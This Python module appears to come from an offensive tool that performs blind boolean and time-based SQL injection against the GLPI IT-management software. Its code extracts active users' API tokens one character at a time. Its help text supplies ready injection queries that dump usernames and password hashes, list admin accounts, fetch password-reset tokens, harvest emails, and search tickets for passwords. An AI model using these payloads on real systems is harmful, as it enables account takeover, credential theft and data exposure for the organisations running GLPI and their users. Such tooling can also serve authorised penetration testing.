import string
from abc import ABC, abstractmethod
from .logger import Log

class SqlInjectionMixin(ABC):
    """
    Class helping for sql injection on glpi
    for boolean / time based SQLi
    """
    concat_id_char = string.digits + ','
    token_chars = string.digits + string.ascii_letters # Used by glpi for token generation
    separator = ',' # Th group_concat separator

    @abstractmethod
    def send_payload(self, payload):
        """
        Send the payload

        :param payload: The payload sql to send
        :type payload: str
        """
        raise NotImplementedError

    @abstractmethod
    def check_result(self, res):
        """
        Check if the payload worked given a result

        :return: The result of the injection
        :rtype: bool
        """
        raise NotImplementedError

    def payload_exists(self, payload):
        """
        Check if the payload have a result
        
        :return: Whether or not there are available api token in db
        :rtype: bool
        """
        payload = f"({payload}) IS NOT NULL"
        return self.check_result(self.send_payload(payload))

    def get_api_token(self, pos):
        """
        Get the api token at the position pos
        """
        payload = f"SELECT MID(api_token, $index$, 1) = BINARY \"$char$\" FROM glpi_users WHERE api_token is not NULL and is_active=1 and is_deleted=0 LIMIT 1 OFFSET {pos}"
        current_api_token = ""
        for index in range(1, 41):
            for char in self.token_chars:
                Log.log(f"API Token: [blue]{current_api_token}[/blue][red]{char}[/red]   ", end="\r")
                res = self.send_payload(
                            payload.replace("$char$", char).replace("$index$", str(index))
                        )
                if self.check_result(res):
                    current_api_token += char
                    break

                if char == self.token_chars[-1]:
                    # Problem, we could not find a valid value
                    Log.err(f"Problem, could not recover character, check through a proxy")
                    return None
        print()
        return current_api_token

    def enum_api_token_available(self):
        """
        Enum the api token in the databases

        :return: The list containing all the api tokens recovered
        :rtype: List[str]
        """
        index = 0
        current_api_token = []
        while True:
            payload = f"SELECT api_token FROM glpi_users WHERE api_token is not NULL and is_active=1 and is_deleted=0 LIMIT 1 OFFSET {index}"
            if self.payload_exists(payload):
                Log.msg(f"Api token found in DB, you might get an [b]account[/b] !!")
                current_api_token.append(self.get_api_token(index))
                index += 1

            else:
                break
        return current_api_token

    @staticmethod
    def get_help_usage():
        """
        Return a base help for SQL injection that can be used globally
        """
        infos = "[grey66]# Recover username, password on the target at a certain offset[/]\n"
        infos += "--run -O sql=\"SELECT CONCAT(name,':',password) FROM glpi_users WHERE password IS NOT NULL AND password <> '' LIMIT 1 OFFSET 1\"\n\n"

        infos += "[grey66]# Recover id, users which are [b]super-admin/admin[/b] using a time wait of 0.4 seconds[/]\n"
        infos += "--run -O time=0.4 sql=\"SELECT GROUP_CONCAT(CONCAT(u.id,':',u.name)) FROM glpi_users AS u JOIN glpi_profiles_users AS p ON u.id = p.users_id WHERE p.profiles_id IN (3,4) AND  u.is_active = 1\"\n\n"

        infos += "[grey66]# Recover email, profileId and id of users that can be targeted for password reset exploit[/]\n"
        infos += "--run -O time=0.4 sql=\"SELECT GROUP_CONCAT(CONCAT(m.email,':',p.id,':',u.id)) "
        infos += "FROM glpi_users AS u JOIN glpi_profiles_users AS p JOIN glpi_useremails AS m ON u.id = p.users_id "
        infos += "WHERE p.id = 2 AND u.is_active = 1\"\n\n"

        infos += "[grey66]# Recover users which can be targeted for password reset attack (Profile other than Self-Service)[/]\n"
        infos += "--run -O time=0.4 sql=\"SELECT GROUP_CONCAT(CONCAT(u.id,':',name,':',p.id)) FROM glpi_users AS u JOIN glpi_profiles_users AS p ON u.id = p.users_id WHERE p.id != 3 AND u.authtype = 1 AND u.is_active = 1\"\n\n"

        infos += "[grey66]# Recover password_forget_token of a user named admin[/]\n"
        infos += "--run -O sql=\"SELECT password_forget_token FROM glpi_users WHERE name='admin'\"\n\n"

        infos += "[grey66]# Recover emails[/]\n"
        infos += "--run -O sql=\"SELECT CONCAT(users_id, ':', email) FROM glpi_useremails LIMIT 1\"\n\n"

        infos += "[grey66]# Recover tickets containing 'pass'[/]\n"
        infos += "--run -O sql=\"SELECT GROUP_CONCAT(CONCAT('Ticket#', t.id, ' - ', t.name, t.content, f.content) SEPARATOR '\\n') AS result FROM glpi_tickets t LEFT JOIN glpi_itilfollowups f ON f.items_id = t.id AND f.itemtype = 'Ticket' LEFT JOIN glpi_itilsolutions s ON s.items_id = t.id AND s.itemtype = 'Ticket' WHERE t.content LIKE '%pass%' OR t.name LIKE '%pass%' OR f.content LIKE '%pass%' OR s.content LIKE '%pass%'\"\n"
        return infos
